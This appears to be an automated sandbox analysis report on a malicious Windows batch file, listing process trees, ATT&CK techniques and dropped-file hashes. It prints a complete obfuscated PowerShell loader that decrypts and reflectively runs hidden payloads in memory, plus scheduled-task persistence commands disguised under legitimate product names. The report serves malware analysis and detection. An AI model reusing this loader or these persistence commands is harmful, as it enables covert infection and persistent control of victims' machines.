SeIncreaseQuotaPrivilege 4844 powershell.exe Token: SeSecurityPrivilege 4844 powershell.exe Token: SeTakeOwnershipPrivilege 4844 powershell.exe Token: SeLoadDriverPrivilege 4844 powershell.exe Token: SeSystemProfilePrivilege 4844 powershell.exe Token: SeSystemtimePrivilege 4844 powershell.exe Token: SeProfSingleProcessPrivilege 4844 powershell.exe Token: SeIncBasePriorityPrivilege 4844 powershell.exe Token: SeCreatePagefilePrivilege 4844 powershell.exe Token: SeBackupPrivilege 4844 powershell.exe Token: SeRestorePrivilege 4844 powershell.exe Token: SeShutdownPrivilege 4844 powershell.exe Token: SeDebugPrivilege 4844 powershell.exe Token: SeSystemEnvironmentPrivilege 4844 powershell.exe Token: SeRemoteShutdownPrivilege 4844 powershell.exe Token: SeUndockPrivilege 4844 powershell.exe Token: SeManageVolumePrivilege 4844 powershell.exe Token: 33 4844 powershell.exe Token: 34 4844 powershell.exe Token: 35 4844 powershell.exe Token: 36 4844 powershell.exe Token: SeIncreaseQuotaPrivilege 4844 powershell.exe Token: SeSecurityPrivilege 4844 powershell.exe Token: SeTakeOwnershipPrivilege 4844 powershell.exe Token: SeLoadDriverPrivilege 4844 powershell.exe Token: SeSystemProfilePrivilege 4844 powershell.exe Token: SeSystemtimePrivilege 4844 powershell.exe Token: SeProfSingleProcessPrivilege 4844 powershell.exe Token: SeIncBasePriorityPrivilege 4844 powershell.exe Token: SeCreatePagefilePrivilege 4844 powershell.exe Token: SeBackupPrivilege 4844 powershell.exe Token: SeRestorePrivilege 4844 powershell.exe Token: SeShutdownPrivilege 4844 powershell.exe Token: SeDebugPrivilege 4844 powershell.exe Token: SeSystemEnvironmentPrivilege 4844 powershell.exe Token: SeRemoteShutdownPrivilege 4844 powershell.exe Token: SeUndockPrivilege 4844 powershell.exe Token: SeManageVolumePrivilege 4844 powershell.exe Token: 33 4844 powershell.exe Token: 34 4844 powershell.exe Token: 35 4844 powershell.exe - Suspicious use of FindShellTrayWindow 53 IoCs
pid Process 2800 sihost.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe - Suspicious use of SendNotifyMessage 39 IoCs
pid Process 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 5632 SearchHost.exe 1608 StartMenuExperienceHost.exe 3220 explorer.exe - Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 4152 wrote to memory of 4184 4152 cmd.exe 89 PID 4184 wrote to memory of 2456 4184 net.exe 90 PID 4152 wrote to memory of 860 4152 cmd.exe 91 PID 860 wrote to memory of 4844 860 powershell.exe 93 PID 860 wrote to memory of 2980 860 powershell.exe 95 PID 2980 wrote to memory of 4916 2980 WScript.exe 96 PID 4916 wrote to memory of 4540 4916 cmd.exe 98 PID 4540 wrote to memory of 4856 4540 net.exe 99 PID 4916 wrote to memory of 1180 4916 cmd.exe 101 PID 1180 wrote to memory of 1320 1180 powershell.exe 102 PID 1320 wrote to memory of 5540 1320 CMD.exe 104 PID 1180 wrote to memory of 6004 1180 powershell.exe 105 PID 6004 wrote to memory of 5668 6004 CMD.exe 107 PID 1180 wrote to memory of 3080 1180 powershell.exe 108 PID 3080 wrote to memory of 3944 3080 CMD.exe 110 PID 1180 wrote to memory of 5244 1180 powershell.exe 115 PID 5244 wrote to memory of 3704 5244 CMD.exe 117 PID 1180 wrote to memory of 4956 1180 powershell.exe 120 PID 4956 wrote to memory of 5604 4956 CMD.exe 122 PID 1180 wrote to memory of 3988 1180 powershell.exe 123 PID 3988 wrote to memory of 6032 3988 CMD.exe 125 PID 1180 wrote to memory of 5724 1180 powershell.exe 126 PID 5724 wrote to memory of 2924 5724 CMD.exe 128 PID 1180 wrote to memory of 5004 1180 powershell.exe 129 PID 5004 wrote to memory of 2464 5004 cmd.exe 131 PID 1180 wrote to memory of 2248 1180 powershell.exe 132 PID 2248 wrote to memory of 2916 2248 CMD.exe 134 PID 5004 wrote to memory of 4968 5004 cmd.exe 135 PID 2800 wrote to memory of 3220 2800 sihost.exe 142 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sdfghgfds.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4152 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:4184 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:2456
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9mne1QtWIj00jSbx11NP/gKc2OLVGTf8kdfCHeOjsK4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/VeJtnKycDXF2Si0OkfkYw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fpABZ=New-Object System.IO.MemoryStream(,$param_var); $ZTxje=New-Object System.IO.MemoryStream; $YkiVn=New-Object System.IO.Compression.GZipStream($fpABZ, [IO.Compression.CompressionMode]::Decompress); $YkiVn.CopyTo($ZTxje); $YkiVn.Dispose(); $fpABZ.Dispose(); $ZTxje.Dispose(); $ZTxje.ToArray();}function execute_function($param_var,$param2_var){ $LgkMV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ucJOF=$LgkMV.EntryPoint; $ucJOF.Invoke($null, $param2_var);}$EEdPs = 'C:\Users\Admin\AppData\Local\Temp\sdfghgfds.bat';$host.UI.RawUI.WindowTitle = $EEdPs;$GBsER=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($EEdPs).Split([Environment]::NewLine);foreach ($gfwut in $GBsER) { if ($gfwut.StartsWith(':: ')) { $Yctvu=$gfwut.Substring(3); break; }}$payloads_var=[string[]]$Yctvu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_969_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_969.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4844
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_969.vbs"3⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_969.bat" "4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4916 -
C:\Windows\system32\net.exenet file5⤵
- Suspicious use of WriteProcessMemory
PID:4540 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file6⤵PID:4856
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9mne1QtWIj00jSbx11NP/gKc2OLVGTf8kdfCHeOjsK4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/VeJtnKycDXF2Si0OkfkYw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fpABZ=New-Object System.IO.MemoryStream(,$param_var); $ZTxje=New-Object System.IO.MemoryStream; $YkiVn=New-Object System.IO.Compression.GZipStream($fpABZ, [IO.Compression.CompressionMode]::Decompress); $YkiVn.CopyTo($ZTxje); $YkiVn.Dispose(); $fpABZ.Dispose(); $ZTxje.Dispose(); $ZTxje.ToArray();}function execute_function($param_var,$param2_var){ $LgkMV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ucJOF=$LgkMV.EntryPoint; $ucJOF.Invoke($null, $param2_var);}$EEdPs = 'C:\Users\Admin\AppData\Roaming\startup_str_969.bat';$host.UI.RawUI.WindowTitle = $EEdPs;$GBsER=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($EEdPs).Split([Environment]::NewLine);foreach ($gfwut in $GBsER) { if ($gfwut.StartsWith(':: ')) { $Yctvu=$gfwut.Substring(3); break; }}$payloads_var=[string[]]$Yctvu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Modifies WinLogon for persistence
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\SYSTEM32\CMD.exe"CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "IntelliJ IDEA Host" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" & exit6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1320 -
C:\Windows\system32\schtasks.exeSchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "IntelliJ IDEA Host" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe"7⤵
- Scheduled Task/Job: Scheduled Task
PID:5540
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C:\Windows\SYSTEM32\CMD.exe"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6004 -
C:\Windows\system32\schtasks.exeSchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
PID:5668
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C:\Windows\SYSTEM32\CMD.exe"CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Word" /tr "C:\Users\Admin\AppData\Local\xdwdOBS Studio.exe" /RL HIGHEST & exit6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3080 -
C:\Windows\system32\schtasks.exeSchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Word" /tr "C:\Users\Admin\AppData\Local\xdwdOBS Studio.exe" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
PID:3944
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C:\Windows\SYSTEM32\CMD.exe"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5244 -
C:\Windows\system32\schtasks.exeSchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
PID:3704
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C:\Windows\SYSTEM32\CMD.exe"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Windows\system32\schtasks.exeSchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
PID:5604
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C:\Windows\SYSTEM32\CMD.exe"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\system32\schtasks.exeSchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
PID:6032
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C:\Windows\SYSTEM32\CMD.exe"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5724 -
C:\Windows\system32\schtasks.exeSchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
PID:2924
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C:\Windows\SYSTEM32\cmd.exe"cmd" /k timeout 5 > NUL && "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5004 -
C:\Windows\system32\timeout.exetimeout 57⤵
- Loads dropped DLL
- Delays execution with timeout.exe
- Suspicious behavior: EnumeratesProcesses
PID:2464
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"7⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:4968
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C:\Windows\SYSTEM32\CMD.exe"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\system32\schtasks.exeSchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
PID:2916
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C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
- Loads dropped DLL
PID:4536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2504
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C:\Windows\system32\sihost.exesihost.exe1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Loads dropped DLL
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3220
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5632
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C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1608
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C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2656
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Active Setup
1Winlogon Helper DLL
1Event Triggered Execution
1AppInit DLLs
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Winlogon Helper DLL
1Event Triggered Execution
1AppInit DLLs
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 67KB
- SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
- MD5 b65d38126d60f6776d0fee761697a8ab
- SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
- SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
- SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
- TLSH T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 5530c8a8b4c6b189b6e213ddeaf4f3237194f0fd1cb236ff3e85e1f597a8cbbb
- MD5 0b68290172434b6c3a8ddc525ea6a77f
- SHA1 3f27c3068c19cca08d85f6cc2ad1037604fc8e55
- SHA512 a47e67067bb4eda651afe27e3fc99c6c0df0822bb8039542feeca0ef8d8195c5aa062462f9442e1b3e53d923c5cacb439959a376108a9288e4a0690157050a30
- TLSH T13D21A633B3CC8611C88A403600CEAC0437B287DB80EFCE5BAB85D654B43F599CE601A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
- Size 595B
- SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
- MD5 4454c8e578515db43fadd90604ae7675
- SHA1 3912ffa00c3a5c86fae6500a0074284d9f668976
- SHA512 b17559d466cb6954554c4f879b396ff8431c730f837205547ab46329c6517cd35a719378efa55d78c01b739414dd320157f120feb12e28e1ae90ce7c53a0c75c
- TLSH T117F0DC47E7B15216C926123CC89724E1B730F5917DD1162341056F5D2C373101F17CB8
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5zbjuryz.0ek.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\startup_str_969.vbs
- Size 115B
- SHA256 d1c05b737250b734d98f3616a88c1cf937aef6284f9325b665b7abaa4790ce7d
- MD5 ed278fc20c6060f2d75569287c49a793
- SHA1 c16fa6dd85e7c25b7b65e15b6bd6a0acd4330f9e
- SHA512 10fee0515aa7593646b7ebc73635b4642dce89c0bac9dec5379e733a5db383f0c747674e54623ac2da0e7d30897f34533699afb23af90b17eb0d30b4605378f2
- TLSH T13DB0123D2189CACF2D06A1E30B73840C8DA089802588EBA6CF04C5DD10F850CFDD7003
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\xdwd.dll
- Size 136KB
- SHA256 35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66
- MD5 16e5a492c9c6ae34c59683be9c51fa31
- SHA1 97031b41f5c56f371c28ae0d62a2df7d585adaba
- SHA512 20fd369172ef5e3e2fde388666b42e8fe5f0c2bfa338c0345f45e98af6561a249ba3ecc48c3f16efcc73f02ecb67b3ddb1e2e8f0e77d18fa00ac34e6379e50b6
- SSDEEP 3072:t0iX+jLyDcqaH9a6DFHo6MjD7VbZaZaZ8Xwlk4MHWZpt:t07yDSvdoRj2up
- TLSH T151D35B0772A500BFE1668638C5630A09E777B8211770DBAF33A4429D9F277E19D3AF61
- MD5 SHA1 SHA512 SSDEEP TLSH